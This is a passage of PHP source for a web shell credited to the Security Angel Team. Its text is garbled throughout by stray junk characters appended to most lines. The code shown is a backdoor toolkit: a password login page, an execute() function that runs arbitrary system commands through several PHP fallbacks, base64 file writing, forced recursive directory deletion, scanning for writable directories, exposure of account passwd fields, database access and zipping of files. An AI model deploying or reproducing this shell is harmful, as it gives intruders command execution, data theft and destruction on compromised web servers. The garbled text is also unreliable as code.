  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.. Y/ h+ i( x; ]2 {3 f8 L  I+ q
  1320. </div>8 ^, ]0 _4 s# f# ]% W
  1321. </body>
    6 e+ k4 P5 Y3 k2 Q4 Q& l% ?
  1322. </html>
    6 z8 L1 P4 S2 ?) k0 r
  1323. / M. Y$ Q; o' m1 H  T% r
  1324. <?php4 g, ~" |3 N) i7 j/ ~- I/ P

  1325. $ W# T' G' Z4 b3 F
  1326. /*======================================================5 Q* h$ i! L+ [2 f
  1327. 函数库8 P( Z+ N" x; V) s
  1328. ======================================================*/+ j% M8 c4 ]# O  Y& I# f5 G1 n9 V

  1329. 0 ?8 {2 w  m0 A  I4 |
  1330. function m($msg) {& X2 A/ ]; @! P8 L( J, `0 [6 G
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';" v& W1 C2 \8 ?- ]2 ?9 G# B2 T& W
  1332.         echo $msg;
    8 Y; I% h6 X1 _; e
  1333.         echo '</div>';
    3 W! w9 P  h* B: M
  1334. }4 A4 l! r- ~8 h% x& p2 k
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {
    1 _3 O  x1 G" D# f7 R% a- c
  1336.         global $admin, $timestamp, $_SERVER;' r) N& [( a: w" N2 T" i
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;- T/ K$ h8 l5 j0 Y% H% s+ E6 E
  1338.         $life = $life ? $life : $admin['cookielife'];
    7 F! i$ D' Y9 q4 s, P
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
    9 N& \/ U8 ~) ?4 x
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);8 O- b; J) L3 y+ k3 W
  1341. }        ) S) W0 V! |& |: B% b, {8 |
  1342. function multi($num, $perpage, $curpage, $tablename) {
    1 b/ @! w2 q$ t
  1343.         $multipage = '';
    1 n- K" M- H7 n( s% n  a; T, L
  1344.         if($num > $perpage) {; |- M; t5 A9 [
  1345.                 $page = 10;
    1 d, ?) W' l9 D. A0 g) C: ^2 e5 b
  1346.                 $offset = 5;( k8 s. K2 J  G$ A  c
  1347.                 $pages = @ceil($num / $perpage);4 [! Z5 h, ?3 W% E; Y
  1348.                 if($page > $pages) {
    * s3 N, n% e( }) x% ]
  1349.                         $from = 1;  E% ]1 F& y( N5 @
  1350.                         $to = $pages;
    0 Y/ b) A1 i0 O* @7 Y7 r' n
  1351.                 } else {' j# F7 }* L9 \5 R& S+ S
  1352.                         $from = $curpage - $offset;1 F3 c+ q! H* g; c4 F  x1 g2 c8 L
  1353.                         $to = $curpage + $page - $offset - 1;- Z; J/ [5 \4 F! [) w
  1354.                         if($from < 1) {4 J  k; l7 S0 W( L2 W9 _
  1355.                                 $to = $curpage + 1 - $from;6 u+ ?% H/ U, T0 e7 N
  1356.                                 $from = 1;
    0 q# I& Q" d7 V6 C4 V4 X
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {7 a! o, ]: G6 p
  1358.                                         $to = $page;
    $ ~: F8 f% ]% b/ t9 T/ V' k1 h
  1359.                                 }
    0 \9 D* e6 ?+ Y" x7 y/ ^3 B( q
  1360.                         } elseif($to > $pages) {
    1 a) W+ c0 A) U' k+ \
  1361.                                 $from = $curpage - $pages + $to;3 E5 j' l' l# U( t$ F# ^
  1362.                                 $to = $pages;
    * @' [! l; e( l! |
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {1 ]7 ~7 c9 a  E" `+ A
  1364.                                         $from = $pages - $page + 1;- Y* Z$ \# A0 z3 B: x
  1365.                                 }
    % \. c7 x8 I* r% G& k3 C- _
  1366.                         }! l; h, I8 y$ d) c
  1367.                 }
    % _1 l3 g4 {& v) I
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
      s1 y  H3 s; H- Z7 [9 ]( u+ a% X
  1369.                 for($i = $from; $i <= $to; $i++) {
    4 I  j  v' [# \& m0 W9 h" G
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';; {% p* j' C/ b1 b/ S
  1371.                 }
    , z) J+ `% q' v' t
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');: Y  F; Q& H! q
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';7 T: Z9 }, v: [: F) ?
  1374.         }$ I7 j0 s* R+ o3 g% ^
  1375.         return $multipage;0 l/ q. K' P7 E; }
  1376. }0 o6 w. M& }/ k+ a, z- g9 {1 ^
  1377. // 登陆入口) o' A' k9 y0 Q( G
  1378. function loginpage() {" s6 g4 x, X6 I' L  M
  1379. ?>
    + H7 H/ e- U5 x5 r3 f" r& e( C
  1380.         <style type="text/css">
    ; U  F0 h- o$ X. Y
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}& m# \. l0 i* g5 y" g$ i
  1382.         </style>
    # g  u. [/ S2 u; F4 E) A
  1383.         <form method="POST" action="">
    7 m6 r" n+ g5 o3 R  F) r& J
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
    ; C; @- G% j5 _5 L1 {& d0 m7 V
  1385.         <input type="hidden" name="doing" value="login">
    / P2 n3 b+ f! D* ~
  1386.         <input type="submit" value="Login">8 I: Z* Q# d8 u4 n
  1387.         </form>7 S; C2 N! i* G
  1388. <?php4 S/ T! @+ F* e) n# {% x) X
  1389.         exit;0 t( z% J' d/ V& m% K1 ~
  1390. }//end loginpage(), v4 b" s8 ^/ V7 E
  1391. 6 y! @- r6 ~( c' ]. _" o7 D  O
  1392. function execute($cfe) {) s2 a7 j4 {0 n
  1393.         $res = '';
    3 I  S6 v& X/ y7 r! U8 y
  1394.         if ($cfe) {$ q* g6 E# y8 Y. l& I9 F) G1 `
  1395.                 if(function_exists('exec')) {. e6 V+ z/ Y1 M
  1396.                         @exec($cfe,$res);
    / _8 m) |( E' I7 e
  1397.                         $res = join("\n",$res);& [6 v9 _9 Z0 {/ p9 X! t/ L
  1398.                 } elseif(function_exists('shell_exec')) {$ E6 m3 z/ n. c: M" }
  1399.                         $res = @shell_exec($cfe);
    " S" ]. {, P! o4 B) S
  1400.                 } elseif(function_exists('system')) {
    $ q) X. z5 Z/ k5 N
  1401.                         @ob_start();) g7 q: M; w# L/ _/ v
  1402.                         @system($cfe);
    ) ?0 O. L# g& s/ l
  1403.                         $res = @ob_get_contents();
    ' x. I5 R+ x. i( V1 h
  1404.                         @ob_end_clean();! |6 H$ V# [" M4 m
  1405.                 } elseif(function_exists('passthru')) {
    ! Q# F; w1 j2 J0 Q& M* U. d8 Q$ `
  1406.                         @ob_start();
    . b7 P2 F0 F: Z
  1407.                         @passthru($cfe);
    , t+ w6 N( h: m4 I1 i1 L  ^
  1408.                         $res = @ob_get_contents();( w. p1 Z0 S- g4 t' W4 R! N" V4 q+ q
  1409.                         @ob_end_clean();1 g& g. S. Q3 S* T* r
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
    5 u6 ^3 ]+ |) Q- g, p
  1411.                         $res = '';7 d$ |( Q" t+ N5 k
  1412.                         while(!@feof($f)) {% D' D2 D% T2 N/ ~* J& b* v. ?
  1413.                                 $res .= @fread($f,1024);
    $ H$ @+ C! s8 o% J4 V) W
  1414.                         }+ O7 q3 [$ H, Y: s6 a
  1415.                         @pclose($f);
    4 b& h/ x5 ~" `# K* @; U% K
  1416.                 }& @( V% V/ g! a/ b: W
  1417.         }
    # z7 y, O8 b' I
  1418.         return $res;
    + v; G8 X$ R% K' j* Y! W& u/ b
  1419. }
    6 A4 S) s& x. L6 s$ B  p- }
  1420. function which($pr) {8 z0 R" @2 ?) ~
  1421.         $path = execute("which $pr");. U+ r3 }( R/ Y
  1422.         return ($path ? $path : $pr); 5 j: n5 j+ E. z
  1423. }  p' c1 h; Z/ W
  1424. 7 S$ n' f! v" L4 ]8 J/ s3 m
  1425. function cf($fname,$text){
    & B/ \! c+ @1 A$ n* ~. T
  1426.         if($fp=@fopen($fname,'w')) {
    0 a# ], d4 I+ x' A  f: \: s
  1427.                 @fputs($fp,@base64_decode($text));8 y3 Y) Z1 x/ r8 b1 u0 k
  1428.                 @fclose($fp);
    * L- v2 w8 n3 e% [& s. O3 P
  1429.         }
    6 S( H: ?7 u) o  M/ `/ p
  1430. }# j, G% H) ?6 m5 p7 X4 A! q* f
  1431. 5 G: `* A' l9 g  Z- {
  1432. // 页面调试信息
    6 b1 S* o% ]6 m) K
  1433. function debuginfo() {5 e% C9 ~+ ], n1 d# ^
  1434.         global $starttime;' \  u1 f3 j7 z, \$ E9 a  p* }
  1435.         $mtime = explode(' ', microtime());. G  R/ N6 A. A7 I4 J
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
    ; F/ B: L$ @7 i+ b( ^& i
  1437.         echo 'Processed in '.$totaltime.' second(s)';$ C. }, z/ a4 V9 T: H. K8 X; ]. S& q
  1438. }
    " S* s7 v9 ?. u. @" C

  1439. 4 y& l2 b& U- v" W" S  f  U  W
  1440. //连接数据库6 j% j, e! }9 T( O- Z4 k
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
    % v* n+ }" |% R8 I
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {) C2 m( b$ R# Z  A
  1443.                 p('<h2>Can not connect to MySQL server</h2>');7 H, D- x4 ]) U4 l+ [# c* U
  1444.                 exit;6 u. e5 A1 X* K0 F( g3 r
  1445.         }% }1 H* k. E6 O
  1446.         if($link && $dbname) {
    6 Z: p/ c  n7 S7 {, i  {
  1447.                 if (!@mysql_select_db($dbname, $link)) {
      d0 o7 m0 E6 s0 p$ J2 }( u3 H
  1448.                         p('<h2>Database selected has error</h2>');
    - k$ d( j& D2 s& L
  1449.                         exit;
    $ k9 m) d+ }0 A: B9 @+ W6 p. p
  1450.                 }
    8 \; V( J: ]; d9 L9 `) h% O
  1451.         }
    7 u+ b2 N* D' D+ ]
  1452.         if($link && mysql_get_server_info() > '4.1') {
    ! r- p7 ?7 r- {0 w# }  U. @
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {$ T1 U/ ~) A2 g9 [$ w
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);7 g  X+ l% o; B) i, K+ j5 r8 Z
  1455.                 }3 \) ~2 T) S; P& |! P) s5 f
  1456.         }) \* {: ?. P& i( d$ t6 F4 _6 Q/ n
  1457.         return $link;3 i6 u  j1 _. {
  1458. }5 U+ Z( M4 C8 a  {3 ?* y0 `
  1459. # ^) k% L' Y/ I# o- G9 g
  1460. // 去掉转义字符' h( [  d2 h2 n, G) B8 f
  1461. function s_array(&$array) {* T+ W0 J: d1 n" h! B4 q
  1462.         if (is_array($array)) {
    1 Q4 G& q' e7 T3 q$ G+ b
  1463.                 foreach ($array as $k => $v) {
    $ N& B3 U$ @! S/ G( Q  N3 w
  1464.                         $array[$k] = s_array($v);: {; G; ?- \4 C
  1465.                 }
    7 [% k9 |9 D" f) D- L5 }9 z# X
  1466.         } else if (is_string($array)) {: e9 C* l; x4 e" m  D9 T5 n, o
  1467.                 $array = stripslashes($array);
    4 G( D# _5 i- O) w& M5 M
  1468.         }
    * Z# J9 C: O; R1 U% N
  1469.         return $array;! \( ^/ Q* ^% i& }- z: H- G* e
  1470. }" h3 F3 `$ E" g# l' O
  1471. & f; z! O+ x6 `
  1472. // 清除HTML代码/ G  V) C+ A  r+ x
  1473. function html_clean($content) {
    ; O3 E  n6 T7 m: s. u6 Y. j
  1474.         $content = htmlspecialchars($content);4 J6 j6 m. b: j- R8 v
  1475.         $content = str_replace("\n", "<br />", $content);( v! D) Q+ S& r) I0 |1 a
  1476.         $content = str_replace("  ", "  ", $content);
    ! f. c& H9 p, C% ~2 v
  1477.         $content = str_replace("\t", "    ", $content);! @- p  L. q- B" C3 O
  1478.         return $content;
      h( d9 f. F" D* \" {
  1479. }/ F/ d# t* s% y! G% g
  1480. 3 p( U+ U3 U  @: p4 S+ S0 X
  1481. // 获取权限
    - {8 d4 n, f. ?3 K7 i; a$ ]4 p
  1482. function getChmod($filepath){
    $ w9 j  ?0 m: r7 h, e3 H
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);. r! V3 P$ ~$ {5 U8 |3 J$ ?1 V
  1484. }) n% z) y& }% y- G+ U, t
  1485. ' c. d7 s- [* e! F
  1486. function getPerms($filepath) {& [# f$ D, ^$ B4 R' O4 z! [
  1487.         $mode = @fileperms($filepath);
    ( k. r6 E% h& U$ b( o
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}$ Z+ _* J9 e) {, b
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
    ! J9 P/ \! y6 N4 Y, \4 P
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
    ( h0 \4 F; t  u0 D; w6 A6 r7 U3 [
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';} 2 \" S& ?( F( Z1 n7 _- K
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}+ ~# q0 M- Z: ^6 O) W
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}, j! |7 @' ^& I  p/ T+ K( P
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}7 v; W9 Q' H/ z4 p, `1 b9 X, Z
  1495.         else {$type = '?';}* n* d: d# L' A! ~+ `; u: i* A  O

  1496. % b9 M( E5 ]: k* V" t# X
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-'; 9 H2 }" v4 o0 Z+ n' [
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
      p/ E; z- j, o) o# P$ m9 m4 G
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
    ! e; N0 l  f& ?
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
    - J- T5 x( u9 L/ l
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
    5 e1 o8 ^0 a0 U0 j3 @: t
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
    , C5 Z( z4 @* `
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-'; + c; w7 s8 W! ^& z% {
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
    1 n% k6 k' j( D0 A+ p7 |! y
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-'; ' u$ W4 q# F/ i: e, r) ?! ^

  1506. + F8 Z( a+ `# t  K0 u$ e
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
    # ^- P" W( ]0 Z3 f0 J+ n% z
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
    $ z0 D  ]" \7 G; u) V
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}9 H+ A8 m( X! L7 ^' i7 ^1 r. g4 ^) o

  1510. 3 P" x2 O& `2 O! \
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
    4 N2 e* a6 g5 l3 {# \* s. O  g$ f& F
  1512. }: h, g. y& `" w- m& `+ y
  1513. ) e: m& T+ k2 |2 W' R& U
  1514. function getUser($filepath)        {* o" X8 _5 G4 N5 F" x) V4 J# f
  1515.         if (function_exists('posix_getpwuid')) {& u3 ]9 x* u  m- F# A
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));; F1 B+ T  U  }9 q
  1517.                 if ($array && is_array($array)) {* V  {- \  _- d% J8 ~
  1518.                         return ' / <a href="#" title="User: '.$array['name'].'
    3 Y5 D" Q% T5 {1 |( Z
  1519. Passwd: '.$array['passwd'].'# Y& K, v: M. z2 P
  1520. Uid: '.$array['uid'].'- j+ `. [* u* J  i4 P% U
  1521. gid: '.$array['gid'].'
    ' p3 F! F7 O, N: w$ a' ^" K
  1522. Gecos: '.$array['gecos'].'! B6 m% |' r6 D7 m+ S8 M
  1523. Dir: '.$array['dir'].'
    ) e/ o- ^6 N4 n* O- m
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';8 O& Q( e  Z1 D9 i
  1525.                 }1 ?! a( d. d1 X( l9 k) u1 X
  1526.         }8 ?3 w% }. @  ~$ B$ r
  1527.         return '';  n8 a+ B1 [/ s7 z7 |# l
  1528. }
    4 [; a  [+ q/ ?

  1529. 7 o6 V9 t6 k5 I( D7 I  [7 o
  1530. // 删除目录  T8 G/ }8 s* L  Z
  1531. function deltree($deldir) {
    2 r( c1 \  e# }% I" U9 C
  1532.         $mydir=@dir($deldir);       
    1 i* ?; m( N0 q9 |) W0 V
  1533.         while($file=$mydir->read())        {                
    7 |: D% R0 h7 y/ A
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { $ j& R+ [  @% u! ~" u
  1535.                         @chmod($deldir.'/'.$file,0777);
    , A. p; @( i! `4 t# W; z9 H: x& x
  1536.                         deltree($deldir.'/'.$file);
    0 R  Y. P  C# p
  1537.                 }
      h! v( q/ S+ y- j
  1538.                 if (is_file($deldir.'/'.$file)) {
    ( V" X4 A/ ?) B3 ^# e
  1539.                         @chmod($deldir.'/'.$file,0777);7 H+ E7 ]& l3 u- _
  1540.                         @unlink($deldir.'/'.$file);
    2 C" z- B8 h4 K& E0 y7 C6 C7 B
  1541.                 }+ F! M6 O$ O- @! ]% ^! G( l# h- M
  1542.         }
    1 t3 N0 d7 C3 V+ ^/ d' y
  1543.         $mydir->close();
    7 u2 {, v- C, u; |( k. G& U2 }) U
  1544.         @chmod($deldir,0777);
    8 t8 M# J0 t( r) ^8 j* F/ F
  1545.         return @rmdir($deldir) ? 1 : 0;
    3 f8 n  ]3 l/ _$ x) L
  1546. }* u8 L0 V3 T3 a  U8 M
  1547. . M+ y/ y" D  M
  1548. // 表格行间的背景色替换' t( k- c, D" p6 F4 m8 x) I: e
  1549. function bg() {
    ! o3 o  i+ h/ U# Z# i
  1550.         global $bgc;1 h3 Z2 x9 p- ?
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';! ]7 _+ W) ~! v' j- G3 |
  1552. }- v( C1 O3 K. T8 Y$ r, O+ H

  1553. * ?( z0 b( }& i
  1554. // 获取当前的文件系统路径
      A3 N/ j( j9 T3 x- S
  1555. function getPath($scriptpath, $nowpath) {/ f8 {% v4 C8 w2 L& |/ d8 T4 e* y$ L
  1556.         if ($nowpath == '.') {
      S. n+ q+ K" B+ N2 B
  1557.                 $nowpath = $scriptpath;
    6 ~2 z( t; i2 G. _5 f$ w" q/ o
  1558.         }
    ! y, s9 p. h  A5 t* |
  1559.         $nowpath = str_replace('\\', '/', $nowpath);  @  u( x; y* H& D6 h( A
  1560.         $nowpath = str_replace('//', '/', $nowpath);) s0 F0 z7 \, b4 o* ~
  1561.         if (substr($nowpath, -1) != '/') {! w9 y& Y/ [3 x  X; l4 M
  1562.                 $nowpath = $nowpath.'/';
    - z( F; ~( ~' @; t
  1563.         }
    7 I& U( @8 W( H0 r# w& E. K
  1564.         return $nowpath;" u1 i# n, _7 B% F
  1565. }, C7 y8 l8 E1 u- D! x" p0 t
  1566. + _- ^, ]) @, h( E9 w! @9 b, {4 |
  1567. // 获取当前目录的上级目录
    ! q+ Y( k9 C. K  \/ R7 H1 C
  1568. function getUpPath($nowpath) {2 ]* b1 v, @6 V: K$ R) S$ I4 H  J
  1569.         $pathdb = explode('/', $nowpath);
    7 W8 w' [- b9 {! y% \
  1570.         $num = count($pathdb);; H6 M. D# n, w* v9 [
  1571.         if ($num > 2) {
    & o: G8 k% o  ^, w4 g+ Z
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);# T2 X& a6 l7 a' q7 W) Q% t* {
  1573.         }
    " h  `' r5 L! b  a: d* n) z
  1574.         $uppath = implode('/', $pathdb).'/';' Q$ \- g4 E* Q  `
  1575.         $uppath = str_replace('//', '/', $uppath);+ h! D+ ^2 C7 S9 X
  1576.         return $uppath;
    , o. D4 W' I, m/ Z3 M- E
  1577. }
    - p, x0 |+ C6 p" m

  1578. : K8 f. w+ ~9 l* f+ ?
  1579. // 检查PHP配置参数
    ; M$ t* B; N* k7 p$ H% X) M
  1580. function getcfg($varname) {5 F8 n* ~: }2 ?
  1581.         $result = get_cfg_var($varname);. W1 I  O6 `( g5 Z/ a. K" h  E
  1582.         if ($result == 0) {
    1 @: }( A3 ~2 Y* r$ Q6 s" x
  1583.                 return 'No';
    " ?2 l5 {+ K5 C2 }+ T' K- s2 D
  1584.         } elseif ($result == 1) {
    ' z/ j( k. F" d8 e! E
  1585.                 return 'Yes';3 ~  n. T& W4 B9 A3 Y
  1586.         } else {. d' [; j5 ^. _1 c* ?& @; t# l
  1587.                 return $result;
    5 V  n. n9 V( D' w
  1588.         }
    # C8 D# B1 O, e- I
  1589. }
    ( X- l; q% ^$ p
  1590. 9 \: n4 p  N. u& d1 m
  1591. // 检查函数情况
    8 V- b0 T$ z# a, f8 |/ t
  1592. function getfun($funName) {& ^7 z3 s3 [& _2 W" D6 ]
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
    ) ^. G$ F3 T( i& w
  1594. }
    7 E: c0 p) M. h$ l+ o6 Q8 T- _) {4 _
  1595. 4 Q$ x0 m& M, D( ?' \
  1596. function GetList($dir){
    8 X6 u+ i! Z/ ]. C7 d8 j% Z3 j
  1597.         global $dirdata,$j,$nowpath;
    " F6 @( [3 q9 h7 J3 N( f2 y
  1598.         !$j && $j=1;0 U$ p: ]$ L# ]$ B0 S6 J0 [
  1599.         if ($dh = opendir($dir)) {
    5 C3 i" X" C8 H! k# O2 X" j
  1600.                 while ($file = readdir($dh)) {
    8 w  X3 n) h& Y2 o' p
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);& I: F2 c. i# J- J) Y
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){
    - n/ G, K9 A9 S' [6 \# k8 Z# [
  1603.                                 if (is_writable($f)) {1 c; u6 P2 {7 F' ?. n$ B
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);; r# P( G2 g' O- j& K
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
    - e0 k: l: I- f* S
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);" K3 e4 O( J9 _( Q8 N1 X4 v. P
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
    / f8 C  e9 ]/ e4 Z' d4 A1 l
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);
    4 L  [3 V. ]- j0 D9 X. t/ m
  1609.                                         $dirdata[$j]['server_link']=$f;
    $ L+ c" W; x1 Z4 V3 Y0 V6 T. @
  1610.                                         $dirdata[$j]['client_link']=ue($f);
    ) m2 |  j. ~; U- k+ S& v% s& s% [
  1611.                                         $j++;
    & m3 F- p/ C9 i  J! E) Q8 n
  1612.                                 }
    7 M" J2 p3 a8 M4 f
  1613.                                 GetList($f);
    * u* d' r7 P# \( q2 K0 r- \
  1614.                         }
    5 r+ f1 V) u4 d& {' r' r$ r
  1615.                 }/ I2 V2 o6 I6 ]/ n
  1616.                 closedir($dh);6 U6 o  Y4 }9 h. g' b  l
  1617.                 clearstatcache();. M/ l: I3 P. B2 c' p; ?( T
  1618.                 return $dirdata;
    + `& n: I9 L: f5 L& P9 \
  1619.         } else {
    ; ~+ R. T9 }1 f6 n# @5 D8 B9 W
  1620.                 return array();
    / E( Y# R3 C  `- b% R* V/ ?) |
  1621.         }
    $ d) ]) {3 i) Y; c
  1622. }, U; ]6 s2 F! ]7 }8 Z
  1623. . w7 O$ V+ |* z3 q3 y
  1624. function qy($sql) {
      n5 h4 ]* [0 r3 B
  1625.         //echo $sql.'<br>';, D" ]. Y, \, Q3 H; t; C
  1626.         $res = $error = '';
    7 L5 D, `% O/ _5 T2 l. h$ W. d0 G
  1627.         if(!$res = @mysql_query($sql)) {
    6 e9 j: W# R) @- Z
  1628.                 return 0;. H( }- {/ b- q1 h7 n
  1629.         } else if(is_resource($res)) {
    2 S* b$ J8 y, H& j$ ?
  1630.                 return 1;
    0 Z! u5 t" z+ i7 {" b
  1631.         } else {
    ) C% ~- x* R. p9 c& Z3 K
  1632.                 return 2;
    / v# N. b. F9 [$ s
  1633.         }       
    # x. |1 j. s3 F
  1634.         return 0;, ~' L! u. F) M- Z0 y0 v$ F  n6 T# J( F
  1635. }, T: B# w8 I/ r& t6 i9 |# U

  1636. 0 @# I  G6 l* {$ c6 q
  1637. function q($sql) {
    ; q" t& C, F! d7 n
  1638.         return @mysql_query($sql);
    1 Q, {8 P( t+ p' m) G
  1639. }! p" M4 v$ C7 h% F2 G& c* P9 p' |

  1640. / k1 t2 ]1 \( J1 y
  1641. function fr($qy){
      D5 H& s7 p0 J6 Y
  1642.         mysql_free_result($qy);2 m& U# T  d) f3 @" w0 E' E8 t
  1643. }
    9 P) X. }  \# F0 ~" J+ D; Y% O

  1644. . L% Y# o2 x- J9 \: q
  1645. function sizecount($size) {3 {. @0 ^/ O% \( w' V" X, T7 Q2 g
  1646.         if($size > 1073741824) {( z( t, j: l% X
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
    , J* L0 L' ?! i- o: x0 |
  1648.         } elseif($size > 1048576) {& H. f) P. k# R/ E4 I0 I
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';; y% T& V4 x, k3 J: j8 m
  1650.         } elseif($size > 1024) {
    ( {/ R% [1 @6 i
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';- }; `/ u1 i, N* X6 f
  1652.         } else {+ k' m3 v1 X8 i5 h( @# w( \
  1653.                 $size = $size . ' B';
    ; x! j+ r: \: c" E" T. c
  1654.         }
    8 C; S$ \( A% m& g5 |$ d
  1655.         return $size;, j& M" _1 y4 b, W
  1656. }
    + W0 {& Y) _9 Z9 T2 z" t

  1657. 4 O/ [7 d) }, H' ^
  1658. // 压缩打包类1 w) W* w4 w+ ?( {5 }$ C
  1659. class PHPZip{4 K' ~+ A0 Z( E8 Z
  1660.         var $out='';
    ) u: [( v  t" ]" ?2 o( b
  1661.         function PHPZip($dir)        {
    ' q+ G6 ?$ C4 s7 J
  1662.                 if (@function_exists('gzcompress'))        {2 r+ j0 W6 f4 |3 `
  1663.                         $curdir = getcwd();( H$ _2 c* a( S8 L: i1 P" ?( ~
  1664.                         if (is_array($dir)) $filelist = $dir;" y6 H% x4 m2 G4 P3 G3 q9 |
  1665.                         else{
    0 w  L/ e: E* K# N* U% [
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表0 e) k  Y, K( b% E/ r1 k' q
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
    ; o2 O# l# E0 y: P. X+ v
  1668.                         }
    / }/ N. `/ q% X' k% e% u
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
    # I* J: m! Z# t# F4 U* @
  1670.                         else chdir($curdir);
    : }7 M9 o8 a. u, d. j2 ^( [
  1671.                         if (count($filelist)>0){
    $ A- T* ?2 ^7 p- \& G5 |
  1672.                                 foreach($filelist as $filename){
    & D4 l$ V9 z- x2 [1 X( }  T
  1673.                                         if (is_file($filename)){& p8 b8 H" O# u. R
  1674.                                                 $fd = fopen ($filename, 'r');
    $ {- Z: U8 I5 f, @: h. J3 b, y
  1675.                                                 $content = @fread ($fd, filesize($filename));
    ; T6 W8 ^7 L8 W; |( P9 I
  1676.                                                 fclose ($fd);  t) ?5 [) g0 Z6 Z# Q; }) y9 A
  1677.                                                 if (is_array($dir)) $filename = basename($filename);% @' ^' q* p1 w& b8 Q
  1678.                                                 $this -> addFile($content, $filename);  c2 J$ N# @  p; s3 R/ W% x; d
  1679.                                         }$ f  x8 ^! r' y- }
  1680.                                 }& {2 c/ E$ O9 P4 M6 n
  1681.                                 $this->out = $this -> file();/ l" f; A8 \$ ]
  1682.                                 chdir($curdir);3 L3 L  A$ d! w' N
  1683.                         }
      y+ t' f1 H* T1 `
  1684.                         return 1;+ L3 y0 }1 k  P" O+ ~/ e0 k$ D
  1685.                 }2 ?; p5 g6 G# g: v3 b% O) i4 Y
  1686.                 else return 0;1 k9 @0 P& U; c8 R/ C6 O" l1 }
  1687.         }
    * t* T* i4 h' d0 L: d/ K9 f: b

  1688. ! y; T4 l: [; p5 ~+ g. o: S5 {
  1689.         // 获得指定目录文件列表
    & m9 v7 Q' R/ k. J1 d
  1690.         function GetFileList($dir){
    ! x& _/ V  i. \7 Q, q) ^7 D
  1691.                 static $a;
    ( M' Z" b" F: I/ j% X
  1692.                 if (is_dir($dir)) {
    : W/ X1 J+ t( l$ ^7 p& i2 q; b, @
  1693.                         if ($dh = opendir($dir)) {
    5 s% ?4 f- ^* y; ~# ?7 q/ W' o9 O
  1694.                                 while ($file = readdir($dh)) {
    5 o/ B, F* V3 l
  1695.                                         if($file!='.' && $file!='..'){
    ; O6 F2 Y# U- ?
  1696.                                                 $f=$dir .'/'. $file;
    ) @8 O% I1 J* G& W- x; g
